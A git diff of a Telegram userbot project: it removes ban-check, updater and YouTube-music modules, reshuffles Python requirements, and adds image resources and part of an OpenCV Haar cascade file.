-@bot.on(admin_cmd(pattern="cascheck$")) -@bot.on(sudo_cmd(pattern="cascheck$", allow_sudo=True)) -async def caschecker(cas): - catevent = await edit_or_reply( - cas, - "`checking any cas(combot antispam service) banned users here, this may take several minutes too......`", - ) - text = "" - chat = cas.chat_id - try: - info = await cas.client.get_entity(chat) - except (TypeError, ValueError) as err: - await cas.edit(str(err)) - return - try: - cas_count, members_count = (0,) * 2 - banned_users = "" - async for user in cas.client.iter_participants(info.id): - if banchecker(user.id): - cas_count += 1 - if not user.deleted: - banned_users += f"{user.first_name}-`{user.id}`\n" - else: - banned_users += f"Deleted Account `{user.id}`\n" - members_count += 1 - text = "**Warning!** Found `{}` of `{}` users are CAS Banned:\n".format( - cas_count, members_count - ) - text += banned_users - if not cas_count: - text = "No CAS Banned users found!" - except ChatAdminRequiredError as carerr: - await catevent.edit("`CAS check failed: Admin privileges are required`") - return - except BaseException as be: - await catevent.edit("`CAS check failed`") - return - await catevent.edit(text) - - -@bot.on(admin_cmd(pattern="spamcheck$")) -@bot.on(sudo_cmd(pattern="spamcheck$", allow_sudo=True)) -async def caschecker(cas): - text = "" - chat = cas.chat_id - catevent = await edit_or_reply( - cas, - "`checking any spamwatch banned users here, this may take several minutes too......`", - ) - try: - info = await cas.client.get_entity(chat) - except (TypeError, ValueError) as err: - await cas.edit(str(err)) - return - try: - cas_count, members_count = (0,) * 2 - banned_users = "" - async for user in cas.client.iter_participants(info.id): - if spamchecker(user.id): - cas_count += 1 - if not user.deleted: - banned_users += f"{user.first_name}-`{user.id}`\n" - else: - banned_users += f"Deleted Account `{user.id}`\n" - members_count += 1 - text = "**Warning! **Found `{}` of `{}` users are spamwatch Banned:\n".format( - cas_count, members_count - ) - text += banned_users - if not cas_count: - text = "No spamwatch Banned users found!" - except ChatAdminRequiredError as carerr: - await catevent.edit("`spamwatch check failed: Admin privileges are required`") - return - except BaseException as be: - await catevent.edit("`spamwatch check failed`") - return - await catevent.edit(text) - - -def banchecker(user_id): - try: - casurl = "https://api.cas.chat/check?user_id={}".format(user_id) - data = get(casurl).json() - except Exception as e: - LOGS.info(e) - data = None - return bool(data and data["ok"]) - - -def spamchecker(user_id): - ban = None - if spamwatch: - ban = spamwatch.get_ban(user_id) - return bool(ban) - - -CMD_HELP.update( - { - "antispambot": "**Plugin : **`antispambot`\ - \n\n**Syntax : **`.cascheck`\ - \n**Function : **__Searches for cas(combot antispam service) banned users in group and shows you the list__\ - \n\n**Syntax : **`.spamcheck`\ - \n**Function : **__Searches for spamwatch banned users in group and shows you the list__" - } -) diff --git a/fridaybot/modules/sql_helper/gban_sql_helper.py b/fridaybot/modules/sql_helper/gban_sql_helper.py deleted file mode 100644 index b229f6e0..00000000 --- a/fridaybot/modules/sql_helper/gban_sql_helper.py +++ /dev/null @@ -1,65 +0,0 @@ -""" -credits to @mrconfused and @sandy1709 -""" -# Copyright (C) 2020 sandeep.n(π.$) -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU Affero General Public License as -# published by the Free Software Foundation, either version 3 of the -# License, or (at your option) any later version. -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU Affero General Public License for more details. -# You should have received a copy of the GNU Affero General Public License -# along with this program. If not, see . -from sqlalchemy import Column, String - -from userbot.plugins.sql_helper import BASE, SESSION - - -class GBan(BASE): - __tablename__ = "gban" - chat_id = Column(String(14), primary_key=True) - reason = Column(String(127)) - - def __init__(self, chat_id, reason=""): - self.chat_id = chat_id - self.reason = reason - - -GBan.__table__.create(checkfirst=True) - - -def is_gbanned(chat_id): - try: - return SESSION.query(GBan).filter(GBan.chat_id == str(chat_id)).one() - except BaseException: - return None - finally: - SESSION.close() - - -def get_gbanuser(chat_id): - try: - return SESSION.query(GBan).get(str(chat_id)) - finally: - SESSION.close() - - -def catgban(chat_id, reason): - adder = GBan(str(chat_id), str(reason)) - SESSION.add(adder) - SESSION.commit() - - -def catungban(chat_id): - rem = SESSION.query(GBan).get(str(chat_id)) - if rem: - SESSION.delete(rem) - SESSION.commit() - - -def get_all_gbanned(): - rem = SESSION.query(GBan).all() - SESSION.close() - return rem diff --git a/fridaybot/modules/updater.py b/fridaybot/modules/updater.py deleted file mode 100644 index 534edeff..00000000 --- a/fridaybot/modules/updater.py +++ /dev/null @@ -1,226 +0,0 @@ -# Copyright (C) 2019 The Raphielscape Company LLC. -# -# Licensed under the Raphielscape Public License, Version 1.c (the "License"); -# you may not use this file except in compliance with the License. -# credits to @AvinashReddy3108 -# -""" -This module updates the userbot based on upstream revision -""" - -import asyncio -import sys -from os import environ, execle, path, remove - -from git import Repo -from git.exc import GitCommandError, InvalidGitRepositoryError, NoSuchPathError - -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd -from var import Var - -UPSTREAM_REPO_URL = Config.UPSTREAM_REPO -UPSTREAM_REPO_BRANCH = "master" -HEROKU_APP_NAME = Var.HEROKU_APP_NAME -HEROKU_API_KEY = Var.HEROKU_API_KEY -requirements_path = path.join( - path.dirname(path.dirname(path.dirname(__file__))), "requirements.txt" -) - - -async def gen_chlog(repo, diff): - ch_log = "**ChangeLog** \n\n" - for c in repo.iter_commits(diff): - ch_log += f"🔨 **#{c.count()} :** [{c.summary}]({UPSTREAM_REPO_URL}/commit/{c}) 👷 __{c.author}__\n" - return ch_log - - -async def print_changelogs(event, ac_br, changelog): - changelog_str = f"**Updates available in {ac_br} branch!\n\n{changelog}" - if len(changelog_str) > 4096: - await event.edit("**Changelog is too big, sending as a file.**") - file = open("output.txt", "w+") - file.write(changelog_str) - file.close() - await event.client.send_file(event.chat_id, "output.txt") - remove("output.txt") - else: - await event.client.send_message( - event.chat_id, changelog_str, link_preview=False - ) - return True - - -async def update_requirements(): - reqs = str(requirements_path) - try: - process = await asyncio.create_subprocess_shell( - " ".join([sys.executable, "-m", "pip", "install", "-r", reqs]), - stdout=asyncio.subprocess.PIPE, - stderr=asyncio.subprocess.PIPE, - ) - await process.communicate() - return process.returncode - except Exception as e: - return repr(e) - - -async def deploy(event, repo, ups_rem, ac_br, txt): - if HEROKU_API_KEY is not None: - import heroku3 - - heroku = heroku3.from_key(HEROKU_API_KEY) - heroku_app = None - heroku_applications = heroku.apps() - if HEROKU_APP_NAME is None: - await event.edit( - "**Please set up the** `HEROKU_APP_NAME` **variable" - " to be able to deploy your userbot.**" - ) - repo.__del__() - return - for app in heroku_applications: - if app.name == HEROKU_APP_NAME: - heroku_app = app - break - if heroku_app is None: - await event.edit( - f"{txt}\n" "**Invalid Heroku credentials for deploying userbot dyno.**" - ) - return repo.__del__() - ups_rem.fetch(ac_br) - repo.git.reset("--hard", "FETCH_HEAD") - heroku_git_url = heroku_app.git_url.replace( - "https://", "https://api:" + HEROKU_API_KEY + "@" - ) - if "heroku" in repo.remotes: - remote = repo.remote("heroku") - remote.set_url(heroku_git_url) - else: - remote = repo.create_remote("heroku", heroku_git_url) - try: - remote.push(refspec="HEAD:refs/heads/master", force=True) - except Exception as error: - await event.edit(f"{txt}\nHere is the error log:\n`{error}`") - return repo.__del__() - build = app.builds(order_by="created_at", sort="desc")[0] - if build.status == "failed": - await event.edit("**Build failed!**\nCancelled or there were some errors.`") - await asyncio.sleep(5) - return await event.delete() - else: - await event.edit( - "**Successfully updated!**\nBot is restarting, will be back up in a few seconds." - ) - else: - await event.edit("**Please set up** `HEROKU_API_KEY` **variable.**") - return - - -async def update(event, repo, ups_rem, ac_br): - try: - ups_rem.pull(ac_br) - except GitCommandError: - repo.git.reset("--hard", "FETCH_HEAD") - await update_requirements() - await event.edit( - "**Soft Update Sucessfull, Please Wait For Some Time To Get This Process Completed.**" - ) - # Spin a new instance of bot - args = [sys.executable, "-m", "fridaybot"] - execle(sys.executable, *args, environ) - return - - -@friday.on(friday_on_cmd(pattern=r"update( now| deploy|$)")) -async def upstream(event): - "For .update command, check if the bot is up to date, update if specified" - await event.edit("**Checking for updates, please wait...**") - conf = event.pattern_match.group(1).strip() - off_repo = UPSTREAM_REPO_URL - force_update = False - try: - txt = "**Oops.. Updater cannot continue due to " - txt += "some problems**\n`LOGTRACE:`\n" - repo = Repo() - except NoSuchPathError as error: - await event.edit(f"{txt}\n**Directory** `{error}` **was not found.**") - return repo.__del__() - except GitCommandError as error: - await event.edit(f"{txt}\n**Early failure!** `{error}`") - return repo.__del__() - except InvalidGitRepositoryError as error: - if conf is None: - return await event.edit( - f"**Unfortunately, the directory {error} " - "does not seem to be a git repository.\n" - "But we can fix that by force updating the userbot using **" - "`.update now.`" - ) - repo = Repo.init() - origin = repo.create_remote("upstream", off_repo) - origin.fetch() - force_update = True - repo.create_head("master", origin.refs.master) - repo.heads.master.set_tracking_branch(origin.refs.master) - repo.heads.master.checkout(True) - - ac_br = repo.active_branch.name - if ac_br != UPSTREAM_REPO_BRANCH: - await event.edit( - f"**Looks like you are using your own custom branch: ({ac_br}). \n" - "Please switch to** `master` **branch.**" - ) - return repo.__del__() - try: - repo.create_remote("upstream", off_repo) - except BaseException: - pass - - ups_rem = repo.remote("upstream") - ups_rem.fetch(ac_br) - - changelog = await gen_chlog(repo, f"HEAD..upstream/{ac_br}") - """ - Special case for deploy - """ - if conf == "deploy": - await event.edit( - "**Perfoming a Power Update, Please Wait. It Usually Takes 5 min.**" - ) - await deploy(event, repo, ups_rem, ac_br, txt) - return - - if changelog == "" and not force_update: - await event.edit( - f"**Your userbot is up-to-date with `{UPSTREAM_REPO_BRANCH}`!**" - ) - return repo.__del__() - - if conf == "" and force_update is False: - await print_changelogs(event, ac_br, changelog) - await event.delete() - return await event.respond( - "**Do** `.update now` **or** `.update deploy` **to update.**" - ) - - if force_update: - await event.edit( - "**Force-syncing to latest stable userbot code, please wait...**" - ) - - if conf == "now": - await event.edit("**Perfoming a quick update, please wait...**") - await update(event, repo, ups_rem, ac_br) - return - - -CMD_HELP.update( - { - "update": ">`.update`" - "\nUsage: Checks if the main userbot repository has any updates " - "and shows a changelog if so." - "\n\n>`.update now`" - "\nUsage: Performs a quick update." - "\n\n>`.update deploy`" - "\nUsage: Performs a full update (recommended)." - } -) diff --git a/fridaybot/modules/ytmusic.py b/fridaybot/modules/ytmusic.py deleted file mode 100644 index 554de1c5..00000000 --- a/fridaybot/modules/ytmusic.py +++ /dev/null @@ -1,68 +0,0 @@ -import asyncio -import os - -import wget -from youtubesearchpython import SearchVideos - -from fridaybot import CMD_HELP -from fridaybot.Configs import Config -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd - - -@friday.on(friday_on_cmd(pattern="ytmusic ?(.*)")) -@friday.on(sudo_cmd(pattern="ytmusic ?(.*)", allow_sudo=True)) -async def _(event): - if event.fwd_from: - return - urlissed = event.pattern_match.group(1) - myself_stark = await edit_or_reply( - event, f"`Getting {urlissed} From Youtube Servers. Please Wait.`" - ) - search = SearchVideos(f"{urlissed}", offset=1, mode="dict", max_results=1) - mi = search.result() - mio = mi["search_result"] - mo = mio[0]["link"] - thum = mio[0]["title"] - fridayz = mio[0]["id"] - thums = mio[0]["channel"] - kekme = f"https://img.youtube.com/vi/{fridayz}/hqdefault.jpg" - await asyncio.sleep(0.6) - if not os.path.isdir("./music/"): - os.makedirs("./music/") - path = Config.TMP_DOWNLOAD_DIRECTORY - sedlyf = wget.download(kekme, out=path) - stark = ( - f'youtube-dl --force-ipv4 -q -o "./music/%(title)s.%(ext)s" --extract-audio --audio-format mp3 --audio-quality 128k ' - + mo - ) - os.system(stark) - await asyncio.sleep(4) - km = f"./music/{thum}.mp3" - if os.path.exists(km): - await myself_stark.edit("`Song Downloaded Sucessfully. Let Me Upload it Here.`") - else: - await myself_stark.edit("`SomeThing Went Wrong. Try Again After Sometime..`") - capy = f"**Song Name ➠** `{thum}` \n**Requested For ➠** `{urlissed}` \n**Channel ➠** `{thums}` \n**Link ➠** `{mo}`" - await borg.send_file( - event.chat_id, - km, - force_document=False, - allow_cache=False, - caption=capy, - thumb=sedlyf, - performer=thums, - supports_streaming=True, - ) - await myself_stark.edit("`Song Uploaded. By (C) VirtualUserbot`") - for files in (sedlyf, km): - if files and os.path.exists(files): - os.remove(files) - - -CMD_HELP.update( - { - "ytmusic": "**Ytmusic**\ -\n\n**Syntax : **`.ytmusic `\ -\n**Usage :** Downloads songs from ytmusic" - } -) diff --git a/no_touch.sh b/no_touch.sh index 68e8126f..271d7abb 100644 --- a/no_touch.sh +++ b/no_touch.sh @@ -1,4 +1,4 @@ echo 'Hmlo, Updating Requirements' pip3 install -r requirements.txt -python3 -m fridaybot +python3 -m virtualuserbot echo 'Me iz Doge.' diff --git a/req b/req new file mode 100644 index 00000000..8b08455f --- /dev/null +++ b/req @@ -0,0 +1,29 @@ +import os +os.system("pip install Pillow") +os.system("pip install cryptg") +os.system("pip install nospamplus") +os.system("pip install pymediainfo") +os.system("pip install python-magic") +os.system("pip install pyseoanalyzer") +os.system("pip install glitch_this") +os.system("pip install PyGithub") +os.system("pip install pytesseract") +os.system("pip install youtube-dl") +os.system("pip install opencv-contrib-python") +os.system("pip install telethon>=1.17") +# In anonther Day +os.system("pip install cryptg") +os.system("pip install cryptg") +os.system("pip install cryptg") +os.system("pip install cryptg") +os.system("pip install cryptg") +os.system("pip install cryptg") +os.system("pip install cryptg") +os.system("pip install cryptg") +os.system("pip install cryptg") +os.system("pip install cryptg") +os.system("pip install cryptg") +os.system("pip install cryptg") +os.system("pip install cryptg") +os.system("pip install cryptg") + diff --git a/requirements.txt b/requirements.txt index 143d7604..099c56c9 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,27 +1,35 @@ Pillow +google-trans-new +cryptg +nospamplus +pymediainfo quote -antispaminc python-magic +telethon-session-sqlalchemy +pyseoanalyzer glitch_this PyGithub pytesseract youtube-dl opencv-contrib-python -telethon>=1.17 +telethon iplookup wget numpy +pytest pyshorteners aiohttp bs4 coffeehouse cowpy -cryptg -emoji +nltk +emoji==0.6.0 gTTS-token>=1.1.3 gTTS>=2.0.1 geopy +git+https://github.com/gleitz/howdoi gitpython +nospamplus google-api-python-client==1.8.0 google-auth-oauthlib google_images_download>=2.7.1 @@ -31,9 +39,10 @@ heroku3 httplib2 humanize lxml +patool lyricsgenius oauth2client -psycopg2-binary +psycopg2-binary==2.8.6 PyLyrics pySmartDL pybase64>=0.4.0 @@ -48,7 +57,7 @@ requests search-engine-parser>=0.4.2 selenium speedtest-cli>=2.0.2 -sqlalchemy>=1.2 +sqlalchemy==1.3.20 telegraph tswift urbandict>=0.5 @@ -56,16 +65,39 @@ wikipedia>=1.4.0 youtube-search youtube-search-python covid +scapy +scipy +faker +mal-api password_strength pyjokes cryptocompare -faker +cryptosteganography +apscheduler +cryptg +pokedex.py +PyProxyToolkit +cairosvg +grapheme +QScintilla +cfscrape +requests_html +flask +yahoo_fin +anime_downloader +pandas +pydub validators -googletrans==3.1.0a0 spamwatch nekos.py deep_translator +pornhub-api +countryinfo +emoji-country-flag langdetect -aria2p fontTools -PyDictionary +googletrans +deezer-python +pdf2docx +beautifulsoup4 +bs4 diff --git a/resources/IMG_20200929_103719_628.jpg b/resources/IMG_20200929_103719_628.jpg index 1170122d..f56bd07e 100644 Binary files a/resources/IMG_20200929_103719_628.jpg and b/resources/IMG_20200929_103719_628.jpg differ diff --git a/resources/IMG_20200929_103719_629.jpg b/resources/IMG_20200929_103719_629.jpg new file mode 100644 index 00000000..f56bd07e Binary files /dev/null and b/resources/IMG_20200929_103719_629.jpg differ diff --git a/resources/dummy_image/README.md b/resources/dummy_image/README.md new file mode 100644 index 00000000..1530535f --- /dev/null +++ b/resources/dummy_image/README.md @@ -0,0 +1 @@ +# Go to @Fridayot diff --git a/resources/dummy_image/fgs.jpg b/resources/dummy_image/fgs.jpg new file mode 100644 index 00000000..69200f83 Binary files /dev/null and b/resources/dummy_image/fgs.jpg differ diff --git a/resources/jail/README.md b/resources/jail/README.md new file mode 100644 index 00000000..563b60ca --- /dev/null +++ b/resources/jail/README.md @@ -0,0 +1 @@ +# WANNA BE IN JAIL? diff --git a/resources/jail/hmm.png b/resources/jail/hmm.png new file mode 100644 index 00000000..7bda6726 Binary files /dev/null and b/resources/jail/hmm.png differ diff --git a/resources/live/README.md b/resources/live/README.md new file mode 100644 index 00000000..05cf9c07 --- /dev/null +++ b/resources/live/README.md @@ -0,0 +1 @@ +WhAt ArE YoU DoInG HeRe?¿! diff --git a/resources/live/font.ttf b/resources/live/font.ttf new file mode 100644 index 00000000..0151b563 Binary files /dev/null and b/resources/live/font.ttf differ diff --git a/resources/live/news.png b/resources/live/news.png new file mode 100644 index 00000000..5dcec4cb Binary files /dev/null and b/resources/live/news.png differ diff --git a/resources/pb/README.md b/resources/pb/README.md new file mode 100644 index 00000000..d3ec2f3e --- /dev/null +++ b/resources/pb/README.md @@ -0,0 +1 @@ +WHAT ARE YOU SEEING HERE?😑 diff --git a/resources/pb/font.TTF b/resources/pb/font.TTF new file mode 100644 index 00000000..7302267a Binary files /dev/null and b/resources/pb/font.TTF differ diff --git a/resources/pb/pb.jpg b/resources/pb/pb.jpg new file mode 100644 index 00000000..3dae7f7c Binary files /dev/null and b/resources/pb/pb.jpg differ diff --git a/fridaybot/function/__init__.py b/resources/stcr/README.md similarity index 100% rename from fridaybot/function/__init__.py rename to resources/stcr/README.md diff --git a/resources/stcr/default.jpg b/resources/stcr/default.jpg new file mode 100644 index 00000000..fa568cbf Binary files /dev/null and b/resources/stcr/default.jpg differ diff --git a/resources/thuglife/haarcascade_eye.xml b/resources/thuglife/haarcascade_eye.xml new file mode 100644 index 00000000..d01124b0 --- /dev/null +++ b/resources/thuglife/haarcascade_eye.xml @@ -0,0 +1,19896 @@ + + + + + BOOST + HAAR + 20 + 20 + + 93 + + + 0 + + 24 + + <_> + 6 + -1.4562760591506958e+00 + + <_> + + 0 -1 0 1.2963959574699402e-01 + + + -7.7304208278656006e-01 6.8350148200988770e-01 + + + <_> + + 0 -1 1 -4.6326808631420135e-02 + + + 5.7352751493453979e-01 -4.9097689986228943e-01 + + + <_> + + 0 -1 2 -1.6173090785741806e-02 + + + 6.0254341363906860e-01 -3.1610709428787231e-01 + + + <_> + + 0 -1 3 -4.5828841626644135e-02 + + + 6.4177548885345459e-01 -1.5545040369033813e-01 + + + <_> + + 0 -1 4 -5.3759619593620300e-02 + + + 5.4219317436218262e-01 -2.0480829477310181e-01 + + + <_> + + 0 -1 5 3.4171190112829208e-02 + + + -2.3388190567493439e-01 4.8410901427268982e-01 + + + + + <_> + 12 + -1.2550230026245117e+00 + + <_> + + 0 -1 6 -2.1727620065212250e-01 + + + 7.1098899841308594e-01 -5.9360730648040771e-01 + + + <_> + + 0 -1 7 1.2071969918906689e-02 + + + -2.8240481019020081e-01 5.9013551473617554e-01 + + + <_> + + 0 -1 8 -1.7854139208793640e-02 + + + 5.3137522935867310e-01 -2.2758960723876953e-01 + + + <_> + + 0 -1 9 2.2333610802888870e-02 + + + -1.7556099593639374e-01 6.3356137275695801e-01 + + + <_> + + 0 -1 10 -9.1420017182826996e-02 + + + 6.1563092470169067e-01 -1.6899530589580536e-01 + + + <_> + + 0 -1 11 2.8973650187253952e-02 + + + -1.2250079959630966e-01 7.4401170015335083e-01 + + + <_> + + 0 -1 12 7.8203463926911354e-03 + + + 1.6974370181560516e-01 -6.5441650152206421e-01 + + + <_> + + 0 -1 13 2.0340489223599434e-02 + + + -1.2556649744510651e-01 8.2710450887680054e-01 + + + <_> + + 0 -1 14 -1.1926149949431419e-02 + + + 3.8605681061744690e-01 -2.0992340147495270e-01 + + + <_> + + 0 -1 15 -9.7281101625412703e-04 + + + -6.3761192560195923e-01 1.2952390313148499e-01 + + + <_> + + 0 -1 16 1.8322050891583785e-05 + + + -3.4631478786468506e-01 2.2924269735813141e-01 + + + <_> + + 0 -1 17 -8.0854417756199837e-03 + + + -6.3665801286697388e-01 1.3078659772872925e-01 + + + + + <_> + 9 + -1.3728189468383789e+00 + + <_> + + 0 -1 18 -1.1812269687652588e-01 + + + 6.7844521999359131e-01 -5.0045782327651978e-01 + + + <_> + + 0 -1 19 -3.4332759678363800e-02 + + + 6.7186361551284790e-01 -3.5744878649711609e-01 + + + <_> + + 0 -1 20 -2.1530799567699432e-02 + + + 7.2220700979232788e-01 -1.8192419409751892e-01 + + + <_> + + 0 -1 21 -2.1909970790147781e-02 + + + 6.6529387235641479e-01 -2.7510228753089905e-01 + + + <_> + + 0 -1 22 -2.8713539242744446e-02 + + + 6.9955700635910034e-01 -1.9615580141544342e-01 + + + <_> + + 0 -1 23 -1.1467480100691319e-02 + + + 5.9267348051071167e-01 -2.2097350656986237e-01 + + + <_> + + 0 -1 24 -2.2611169144511223e-02 + + + 3.4483069181442261e-01 -3.8379558920860291e-01 + + + <_> + + 0 -1 25 -1.9308089977130294e-03 + + + -7.9445719718933105e-01 1.5628659725189209e-01 + + + <_> + + 0 -1 26 5.6419910833938047e-05 + + + -3.0896010994911194e-01 3.5431089997291565e-01 + + + + + <_> + 16 + -1.2879480123519897e+00 + + <_> + + 0 -1 27 1.9886520504951477e-01 + + + -5.2860701084136963e-01 3.5536721348762512e-01 + + + <_> + + 0 -1 28 -3.6008939146995544e-02 + + + 4.2109689116477966e-01 -3.9348980784416199e-01 + + + <_> + + 0 -1 29 -7.7569849789142609e-02 + + + 4.7991541028022766e-01 -2.5122168660163879e-01 + + + <_> + + 0 -1 30 8.2630853285081685e-05 + + + -3.8475489616394043e-01 3.1849220395088196e-01 + + + <_> + + 0 -1 31 3.2773229759186506e-04 + + + -2.6427319645881653e-01 3.2547241449356079e-01 + + + <_> + + 0 -1 32 -1.8574850633740425e-02 + + + 4.6736589074134827e-01 -1.5067270398139954e-01 + + + <_> + + 0 -1 33 -7.0008762122597545e-05 + + + 2.9313150048255920e-01 -2.5365099310874939e-01 + + + <_> + + 0 -1 34 -1.8552130088210106e-02 + + + 4.6273660659790039e-01 -1.3148050010204315e-01 + + + <_> + + 0 -1 35 -1.3030420057475567e-02 + + + 4.1627219319343567e-01 -1.7751489579677582e-01 + + + <_> + + 0 -1 36 6.5694141085259616e-05 + + + -2.8035101294517517e-01 2.6680740714073181e-01 + + + <_> + + 0 -1 37 1.7005260451696813e-04 + + + -2.7027249336242676e-01 2.3981650173664093e-01 + + + <_> + + 0 -1 38 -3.3129199873656034e-03 + + + 4.4411438703536987e-01 -1.4428889751434326e-01 + + + <_> + + 0 -1 39 1.7583490116521716e-03 + + + -1.6126190125942230e-01 4.2940768599510193e-01 + + + <_> + + 0 -1 40 -2.5194749236106873e-02 + + + 4.0687298774719238e-01 -1.8202580511569977e-01 + + + <_> + + 0 -1 41 1.4031709870323539e-03 + + + 8.4759786725044250e-02 -8.0018568038940430e-01 + + + <_> + + 0 -1 42 -7.3991729877889156e-03 + + + 5.5766099691390991e-01 -1.1843159794807434e-01 + + + + + <_> + 23 + -1.2179850339889526e+00 + + <_> + + 0 -1 43 -2.9943080618977547e-02 + + + 3.5810810327529907e-01 -3.8487631082534790e-01 + + + <_> + + 0 -1 44 -1.2567380070686340e-01 + + + 3.9316931366920471e-01 -3.0012258887290955e-01 + + + <_> + + 0 -1 45 5.3635272197425365e-03 + + + -4.3908619880676270e-01 1.9257010519504547e-01 + + + <_> + + 0 -1 46 -8.0971820279955864e-03 + + + 3.9906668663024902e-01 -2.3407870531082153e-01 + + + <_> + + 0 -1 47 -1.6597909852862358e-02 + + + 4.2095288634300232e-01 -2.2674840688705444e-01 + + + <_> + + 0 -1 48 -2.0199299324303865e-03 + + + -7.4156731367111206e-01 1.2601189315319061e-01 + + + <_> + + 0 -1 49 -1.5202340437099338e-03 + + + -7.6154601573944092e-01 8.6373612284660339e-02 + + + <_> + + 0 -1 50 -4.9663940444588661e-03 + + + 4.2182239890098572e-01 -1.7904919385910034e-01 + + + <_> + + 0 -1 51 -1.9207600504159927e-02 + + + 4.6894899010658264e-01 -1.4378750324249268e-01 + + + <_> + + 0 -1 52 -1.2222680263221264e-02 + + + 3.2842078804969788e-01 -2.1802149713039398e-01 + + + <_> + + 0 -1 53 5.7548668235540390e-02 + + + -3.6768808960914612e-01 2.4357110261917114e-01 + + + <_> + + 0 -1 54 -9.5794079825282097e-03 + + + -7.2245067358016968e-01 6.3664563000202179e-02 + + + <_> + + 0 -1 55 -2.9545740690082312e-03 + + + 3.5846439003944397e-01 -1.6696329414844513e-01 + + + <_> + + 0 -1 56 -4.2017991654574871e-03 + + + 3.9094808697700500e-01 -1.2041790038347244e-01 + + + <_> + + 0 -1 57 -1.3624990358948708e-02 + + + -5.8767718076705933e-01 8.8404729962348938e-02 + + + <_> + + 0 -1 58 6.2853112467564642e-05 + + + -2.6348459720611572e-01 2.1419279277324677e-01 + + + <_> + + 0 -1 59 -2.6782939676195383e-03 + + + -7.8390169143676758e-01 8.0526962876319885e-02 + + + <_> + + 0 -1 60 -7.0597179234027863e-02 + + + 4.1469261050224304e-01 -1.3989959657192230e-01 + + + <_> + + 0 -1 61 9.2093646526336670e-02 + + + -1.3055180013179779e-01 5.0435781478881836e-01 + + + <_> + + 0 -1 62 -8.8004386052489281e-03 + + + 3.6609750986099243e-01 -1.4036649465560913e-01 + + + <_> + + 0 -1 63 7.5080977694597095e-05 + + + -2.9704439640045166e-01 2.0702940225601196e-01 + + + <_> + + 0 -1 64 -2.9870450962334871e-03 + + + 3.5615700483322144e-01 -1.5445969998836517e-01 + + + <_> + + 0 -1 65 -2.6441509835422039e-03 + + + -5.4353517293930054e-01 1.0295110195875168e-01 + + + + + <_> + 27 + -1.2905240058898926e+00 + + <_> + + 0 -1 66 -4.7862470149993896e-02 + + + 4.1528239846229553e-01 -3.4185820817947388e-01 + + + <_> + + 0 -1 67 8.7350532412528992e-02 + + + -3.8749781250953674e-01 2.4204200506210327e-01 + + + <_> + + 0 -1 68 -1.6849499195814133e-02 + + + 5.3082478046417236e-01 -1.7282910645008087e-01 + + + <_> + + 0 -1 69 -2.8870029374957085e-02 + + + 3.5843509435653687e-01 -2.2402590513229370e-01 + + + <_> + + 0 -1 70 2.5679389946162701e-03 + + + 1.4990499615669250e-01 -6.5609407424926758e-01 + + + <_> + + 0 -1 71 -2.4116659536957741e-02 + + + 5.5889678001403809e-01 -1.4810280501842499e-01 + + + <_> + + 0 -1 72 -3.2826658338308334e-02 + + + 4.6468681097030640e-01 -1.0785529762506485e-01 + + + <_> + + 0 -1 73 -1.5233060345053673e-02 + + + -7.3954427242279053e-01 5.6236881762742996e-02 + + + <_> + + 0 -1 74 -3.0209511169232428e-04 + + + -4.5548820495605469e-01 9.7069837152957916e-02 + + + <_> + + 0 -1 75 7.5365108205005527e-04 + + + 9.5147296786308289e-02 -5.4895019531250000e-01 + + + <_> + + 0 -1 76 -1.0638950392603874e-02 + + + 4.0912970900535583e-01 -1.2308409810066223e-01 + + + <_> + + 0 -1 77 -7.5217830017209053e-03 + + + 4.0289148688316345e-01 -1.6048780083656311e-01 + + + <_> + + 0 -1 78 -1.0677099972963333e-01 + + + 6.1759322881698608e-01 -7.3091186583042145e-02 + + + <_> + + 0 -1 79 1.6256919130682945e-02 + + + -1.3103680312633514e-01 3.7453651428222656e-01 + + + <_> + + 0 -1 80 -2.0679360255599022e-02 + + + -7.1402907371520996e-01 5.2390009164810181e-02 + + + <_> + + 0 -1 81 1.7052369192242622e-02 + + + 1.2822860479354858e-01 -3.1080681085586548e-01 + + + <_> + + 0 -1 82 -5.7122060097754002e-03 + + + -6.0556507110595703e-01 8.1884756684303284e-02 + + + <_> + + 0 -1 83 2.0851430235779844e-05 + + + -2.6812988519668579e-01 1.4453840255737305e-01 + + + <_> + + 0 -1 84 7.9284431412816048e-03 + + + -7.8795351088047028e-02 5.6762582063674927e-01 + + + <_> + + 0 -1 85 -2.5217379443347454e-03 + + + 3.7068629264831543e-01 -1.3620570302009583e-01 + + + <_> + + 0 -1 86 -2.2426199167966843e-02 + + + -6.8704998493194580e-01 5.1062859594821930e-02 + + + <_> + + 0 -1 87 -7.6451441273093224e-03 + + + 2.3492220044136047e-01 -1.7905959486961365e-01 + + + <_> + + 0 -1 88 -1.1175329564139247e-03 + + + -5.9869050979614258e-01 7.4324436485767365e-02 + + + <_> + + 0 -1 89 1.9212789833545685e-02 + + + -1.5702550113201141e-01 2.9737469553947449e-01 + + + <_> + + 0 -1 90 5.6293429806828499e-03 + + + -9.9769018590450287e-02 4.2130270600318909e-01 + + + <_> + + 0 -1 91 -9.5671862363815308e-03 + + + -6.0858798027038574e-01 7.3506258428096771e-02 + + + <_> + + 0 -1 92 1.1217960156500340e-02 + + + -1.0320810228586197e-01 4.1909849643707275e-01 + + + + + <_> + 28 + -1.1600480079650879e+00 + + <_> + + 0 -1 93 -1.7486440017819405e-02 + + + 3.1307280063629150e-01 -3.3681181073188782e-01 + + + <_> + + 0 -1 94 3.0714649707078934e-02 + + + -1.8766190111637115e-01 5.3780800104141235e-01 + + + <_> + + 0 -1 95 -2.2188719362020493e-02 + + + 3.6637881398200989e-01 -1.6124810278415680e-01 + + + <_> + + 0 -1 96 -5.0700771680567414e-05 + + + 2.1245710551738739e-01 -2.8444620966911316e-01 + + + <_> + + 0 -1 97 -7.0170420221984386e-03 + + + 3.9543110132217407e-01 -1.3173590600490570e-01 + + + <_> + + 0 -1 98 -6.8563609384000301e-03 + + + 3.0373859405517578e-01 -2.0657819509506226e-01 + + + <_> + + 0 -1 99 -1.4129259623587132e-02 + + + -7.6503008604049683e-01 9.8213188350200653e-02 + + + <_> + + 0 -1 100 -4.7915481030941010e-02 + + + 4.8307389020919800e-01 -1.3006809353828430e-01 + + + <_> + + 0 -1 101 4.7032979637151584e-05 + + + -2.5216570496559143e-01 2.4386680126190186e-01 + + + <_> 